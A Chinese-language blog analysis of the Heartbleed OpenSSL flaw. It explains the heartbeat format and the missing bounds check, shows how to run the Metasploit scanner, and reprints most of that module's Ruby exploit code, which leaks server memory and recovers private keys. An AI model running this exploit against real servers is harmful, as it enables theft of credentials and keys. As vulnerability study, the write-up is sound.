CVE-2014-0160 Investigation

7erry

OpenSSL 是为网络通信提供安全及数据完整性的一种安全协议,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及 SSL 协议。2014 年 4 月 7 日,OpenSSL 官方发布了一项安全公告,称 OpenSSL 的 HeartBeat 模块存在一处严重漏洞(CVE-2014-0160),主要影响 OpenSSL 1.0.1~1.0.2beta1 测试版。问题出现在 ssl/dl_both.c 中的 HeartBeat 部分,OpenSSL 1.0.1 中的 TLS 和 DTLS 在实现上没有严格处理 Heartbeat 扩展包,心跳处理逻辑没有检测心跳包中的长度字段是否和后续的数据字段相符合(缺少边界检查)。攻击者可以通过构造恶意数据包导致服务端的 memcpy 函数把 SSLv3 记录之后的数据直接输出,进而允许攻击者远程读取存在漏洞版本的 OpenSSL 服务器内存中多达 64K 的数据,包括但不限于用户登录态的 Cookie 甚至是账号密码。由于 OpenSSL 的广泛使用,该漏洞危害范围之广,影响之巨令人咋舌,已经不仅是技术层面的缓冲区溢出 Bug,更暴露了互联网基础设施的脆弱和开源维护资源的匮乏,因而被冠名为 HeartBleed 漏洞后作为 2014 年最具破坏性的漏洞名列 2014 年十大安全事件之一,推动了从代码审计到政策制定的全方位变革,其漏洞 Logo (一颗破碎的心)成为网络安全警示标志。哪怕到了十余年后的今天,也仍是网络安全研究的经典案例,警醒着每一位安全从业人员

影响范围:

OpenSSL 1.0.1 before 1.0.1g

Heart Beat

Heartbleed 发生于 OpenSSL 的 HeartBeat(心跳)服务————「心跳」是一种常见的运维设计思想,即连接一端的计算机发出一条简短数据,协议另一端的计算机是否仍然在线,并获取反馈数据。由于这种用于运维的链接可能是周期性的,因此被称为心跳。心跳机制允许一个 TLS 对等体向另一个对等体发送一个心跳请求,接收方应以心跳响应形式回送相同的数据。具体流程如下:

  1. 心跳请求:一方发送包含随机数据和请求类型的心跳请求消息。
  2. 心跳响应:接收方在接收到心跳请求后,必须在心跳响应消息中返回相同的随机数据。

心跳包的格式为

心跳包字段 长度(byte) 说明
ContentType 1 心跳包类型,IANA 组织把 type 编号定义为 24(0x18)
ProtocolVersion 2 TLS 的版本号,目前主要包括含有心跳扩展的 TLS 版本:TLSv1.0,TLSv1.1,TLSv1.2
length 2 HeartbeatMessage 的长度
HeartbeatMessageType 1 Heartbeat 类型 01 表示 heartbeat_request,02 表示 heartbeat_response
payload_length 2 payload 长度
payload payload_length payload 的具体内容
padding >= 16 padding 填充,最少为 16 个字节

漏洞分析

OpenSSL 是开源项目,因此可以直接查看其 security patch 和源代码进行漏洞分析。注意到补丁主要修复了 ssl/d1_both.c 中的 dtls1_process_heartbeat(SSL *s) 和 ssl/t1_lib.c 中的 tls1_process_heartbeat(SSL *s) 函数。打开源码对这两个函数进行代码审计,以 tls1_process_heartbeat(SSL *s) 函数为例,其核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int
dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0]; //* 接收到的心跳包的数据
...
unsigned int payload; //* paylood 长度
unsigned int padding = 16; /* Use minimum padding */
...
hbtype = *p++; //* 读取心跳包类型
n2s(p, payload); //* 从心跳包数据中提取出 payload 长度
...
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
unsigned int write_length = 1 /* heartbeat type */ +
2 /* heartbeat length */ +
payload + padding;
...
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(write_length); //* 分配缓冲区
bp = buffer;
...
memcpy(bp, pl, payload); //* Vul Point
...
r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, write_length);
...
OPENSSL_free(buffer);
...
}
else if (hbtype == TLS1_HB_RESPONSE)
{
...
}
return 0;
}

相关执行逻辑已标记在注释中。造成漏洞的代码为

1
memcpy(bp, pl, payload); //* Vul Point

写入响应包的数据的大小 payload 取决于请求包的 payload 大小,因此若请求包声明的 payload 大小被伪造则将越越界读取内存数据造成信息泄露

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2014-0160

搜索结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
1 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak
2 \_ action: DUMP . . . Dump memory contents to loot
3 \_ action: KEYS . . . Recover private keys from memory
4 \_ action: SCAN . . . Check hosts for vulnerability


Interact with a module by name or index. For example info 4, use 4 or use auxiliary/scanner/ssl/openssl_heartbleed
After interacting with a module you can manually set a ACTION with set ACTION 'SCAN'

调用该模块并查看模块详情

1
2
msf6 > use auxiliary/scanner/ssl/openssl_heartbleed
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
       Name: OpenSSL Heartbeat (Heartbleed) Information Leak
Module: auxiliary/scanner/ssl/openssl_heartbleed
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-04-07

Provided by:
Neel Mehta
Riku
Antti
Matti
Jared Stafford <jspenguin@jspenguin.org>
FiloSottile
Christian Mehlmauer <FireFart@gmail.com>
wvu <wvu@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>
Sebastiano Di Paola
Tom Sellers
jjarmoc
Ben Buchanan
herself

Available actions:
Name Description
---- -----------
DUMP Dump memory contents to loot
KEYS Recover private keys from memory
=> SCAN Check hosts for vulnerability

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation
MAX_KEYTRIES 50 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
STATUS_EVERY 5 yes How many retries until key dump status
THREADS 1 yes The number of concurrent threads (max one per host)
TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)

Description:
This module implements the OpenSSL Heartbleed attack. The problem
exists in the handling of heartbeat requests, where a fake length can
be used to leak memory data in the response. Services that support
STARTTLS may also be vulnerable.

The module supports several actions, allowing for scanning, dumping of
memory contents to loot, and private key recovery.

The LEAK_COUNT option can be used to specify leaks per SCAN or DUMP.

The repeat command can be used to make running the SCAN or DUMP many
times more powerful. As in:
repeat -t 60 run; sleep 2
To run every two seconds for one minute.

References:
https://nvd.nist.gov/vuln/detail/CVE-2014-0160
https://www.kb.cert.org/vuls/id/720951
https://www.cisa.gov/uscert/ncas/alerts/TA14-098A
https://heartbleed.com/
https://github.com/FiloSottile/Heartbleed
https://gist.github.com/takeshixx/10107280
https://filippo.io/Heartbleed/

Also known as:
Heartbleed


View the full module info with the info -d command

设置 RHOSTS 和 RPORT 后还需要设置 verbose 为 true 才能看到泄露信息

1
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

执行 exp 获取敏感数据

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]

SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e

TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}

TLS_CALLBACKS = {
'SMTP' => :tls_smtp,
'IMAP' => :tls_imap,
'JABBER' => :tls_jabber,
'POP3' => :tls_pop3,
'FTP' => :tls_ftp,
'POSTGRES' => :tls_postgres
}

# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)

# For verbose output, deduplicate repeated characters beyond this threshold
DEDUP_REPEATED_CHARS_THRESHOLD = 400

def initialize
super(
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
'Description' => %q{...},
'Author' => [...],
'References' => [...],
'DisclosureDate' => '2014-04-07',
'License' => MSF_LICENSE,
'Actions' => [...],
'DefaultAction' => 'SCAN',
'Notes' => {...}
)

register_options(
[
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until key dump status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptInt.new('LEAK_COUNT', [true, 'Number of times to leak memory per SCAN or DUMP invocation', 1])
])

register_advanced_options(
[
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
])

end

#
# Main methods
#

# Called when using check
def check_host(ip)
@check_only = true
vprint_status "Checking for Heartbleed exposure"
if bleed
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end

if response_timeout < 0
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end

super
end

# Main method
def run_host(ip)
case action.name
# SCAN and DUMP are similar, but DUMP stores loot
when 'SCAN', 'DUMP'
# 'Tis but a scratch
bleeded = ''

1.upto(leak_count) do |count|
vprint_status("Leaking heartbeat response ##{count}")
bleeded << bleed.to_s
end

loot_and_report(bleeded)
when 'KEYS'
get_keys
else
# Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end

# ensure all connections are closed
disconnect
end

#
# DATASTORE values
#

# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
# https://github.com/rapid7/metasploit-framework/pull/3252
def heartbeat_length
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore['HEARTBEAT_LENGTH']
end
end

def response_timeout
datastore['RESPONSE_TIMEOUT']
end

def tls_version
datastore['TLS_VERSION']
end

def dumpfilter
datastore['DUMPFILTER']
end

def max_keytries
datastore['MAX_KEYTRIES']
end

def xmpp_domain
datastore['XMPPDOMAIN']
end

def status_every
datastore['STATUS_EVERY']
end

def tls_callback
datastore['TLS_CALLBACK']
end

def leak_count
datastore['LEAK_COUNT']
end

#
# TLS Callbacks
#

def tls_smtp
# https://tools.ietf.org/html/rfc3207
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = get_data

unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
get_data
end

def tls_imap
# http://tools.ietf.org/html/rfc2595
get_data
sock.put("a001 CAPABILITY\r\n")
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
get_data
end

def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = get_data
unless res && res =~ /S/
return nil
end
res
end

def tls_pop3
# http://tools.ietf.org/html/rfc2595
get_data
sock.put("CAPA\r\n")
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = get_data
if res.nil? || res =~ /^-/
return nil
end
res
end

def jabber_connect_msg(hostname)
# http://xmpp.org/extensions/xep-0035.html
msg = "<stream:stream xmlns='jabber:client' "
msg << "xmlns:stream='http://etherx.jabber.org/streams' "
msg << "version='1.0' "
msg << "to='#{hostname}'>"
end

def tls_jabber
sock.put(jabber_connect_msg(xmpp_domain))
res = get_data
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
establish_connect
vprint_status("Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = get_data
end
end
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
vprint_error("Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res.include?('host-unknown')
return nil
end
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
res = get_data
return nil if res.nil? || !res.include?('<proceed')
res
end

def tls_ftp
# http://tools.ietf.org/html/rfc4217
res = get_data
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
vprint_error("FTP error: #{res.strip}")
return nil
end
res
end

#
# Helper Methods
#

# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
to_receive = length
data = ''
done = false
while done == false
begin
temp = sock.get_once(to_receive, response_timeout)
rescue EOFError
break
end

break if temp.nil?

data << temp
if length != -1
to_receive -= temp.length
done = true if to_receive <= 0
end
end

data
end

def to_hex_string(data)
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end

# establishes a connect and parses the server response
def establish_connect
connect

unless tls_callback == 'None'
vprint_status("Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("STARTTLS failed...")
return nil
end
end

vprint_status("Sending Client Hello...")
sock.put(client_hello)

server_resp = get_server_hello

if server_resp.nil?
vprint_error("Server Hello Not Found")
return nil
end

server_resp
end

# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535

ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end

# Generates, sends and receives a heartbeat message
def bleed
connect_result = establish_connect
return if connect_result.nil?

vprint_status("Sending Heartbeat...")
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(SSL_RECORD_HEADER_SIZE)
if hdr.nil? || hdr.empty?
vprint_error("No Heartbeat response...")
disconnect
return
end

unpacked = hdr.unpack('Cnn')
type = unpacked[0]
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]

# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]

# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{msg}")
disconnect
return
end

unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end

heartbeat_data = get_data(heartbeat_length)
vprint_status("Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end

# Stores received data
def loot_and_report(heartbeat_data)
if heartbeat_data.to_s.empty?
vprint_error("Looks like there isn't leaked information...")
return
end

print_good("Heartbeat response with leak, #{heartbeat_data.length} bytes")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})

if action.name == 'DUMP' # Check mode, dump if requested.
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
'OpenSSL Heartbleed server memory'
)
print_good("Heartbeat data stored in #{path}")
end

# Convert non-printable characters to periods
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')

# Keep this many duplicates as padding around the deduplication message
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round

# Remove duplicate characters
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
s[0, duplicate_pad] +
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
s[-duplicate_pad, duplicate_pad]
end

# Show abbreviated data
vprint_status("Printable info leaked:\n#{abbreviated_data}")
end

#
# Keydumping helper methods
#

# Tries to retrieve the private key
def get_keys
connect_result = establish_connect
disconnect
return if connect_result.nil?

print_status("Scanning for private keys")
count = 0

print_status("Getting public key constants...")
n, e = get_ne

if n.nil? || e.nil?
print_error("Failed to get public key, aborting.")
end

vprint_status("n: #{n}")
vprint_status("e: #{e}")
print_status("#{Time.now.getutc} - Starting.")

max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % status_every == 0
print_status("#{Time.now.getutc} - Attempt #{count}...")
end

bleedresult = bleed
return unless bleedresult

p, q = get_factors(bleedresult, n) # Try to find factors in mem

unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
print_good("#{Time.now.getutc} - Got the private key")

print_status(key.export)
path = store_loot(
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
'OpenSSL Heartbleed Private Key'
)
print_status("Private key stored in #{path}")
return
end
count += 1
}
print_error("Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end

# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("No certificate found")
return
end

return @cert.public_key.params['n'], @cert.public_key.params['e']
end

# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
return if data.nil?

(0..(data.length-psize)).each{ |x|
# Try each offset of suitable length
can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s)
if can > 1 && can % 2 != 0 && can.num_bytes == psize
# Only try candidates that have a chance...
q, rem = n / can
if rem == 0 && can != n
vprint_good("Found factor at offset #{x.to_s(16)}")
p = can
return p, q
end
end
}
return nil, nil
end

# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
n = p * q
phi = (p - 1) * (q - 1 )
d = OpenSSL::BN.new(e).mod_inverse(phi)

dmp1 = d % (p - 1)
dmq1 = d % (q - 1)
iqmp = q.mod_inverse(p)

asn1 = OpenSSL::ASN1::Sequence(
[
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(n),
OpenSSL::ASN1::Integer(e),
OpenSSL::ASN1::Integer(d),
OpenSSL::ASN1::Integer(p),
OpenSSL::ASN1::Integer(q),
OpenSSL::ASN1::Integer(dmp1),
OpenSSL::ASN1::Integer(dmq1),
OpenSSL::ASN1::Integer(iqmp)
]
)

key = OpenSSL::PKey::RSA.new(asn1.to_der)
key
end

#
# SSL/TLS packet methods
#

# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end

# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i

hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null

hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data

hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions

data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data

ssl_record(HANDSHAKE_RECORD_TYPE, data)
end

def get_ssl_record
hdr = get_data(SSL_RECORD_HEADER_SIZE)

unless hdr
vprint_error("No SSL record header received after #{response_timeout} seconds...")
return nil
end

len = hdr.unpack('Cnn')[2]
data = get_data(len) unless len.nil?

unless data
vprint_error("No SSL record contents received after #{response_timeout} seconds...")
return nil
end

hdr << data
end

# Get and parse server hello response until we hit Server Hello Done or timeout
def get_server_hello
server_done = nil
ssl_record_counter = 0

remaining_data = get_ssl_record

while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_status("SSL record ##{ssl_record_counter}:")
vprint_status("\tType: #{ssl_type}")
vprint_status("\tVersion: 0x#{ssl_version}")
vprint_status("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_status("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)

# Stop once we receive a SERVER_HELLO_DONE
if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
server_done = true
break
end

end

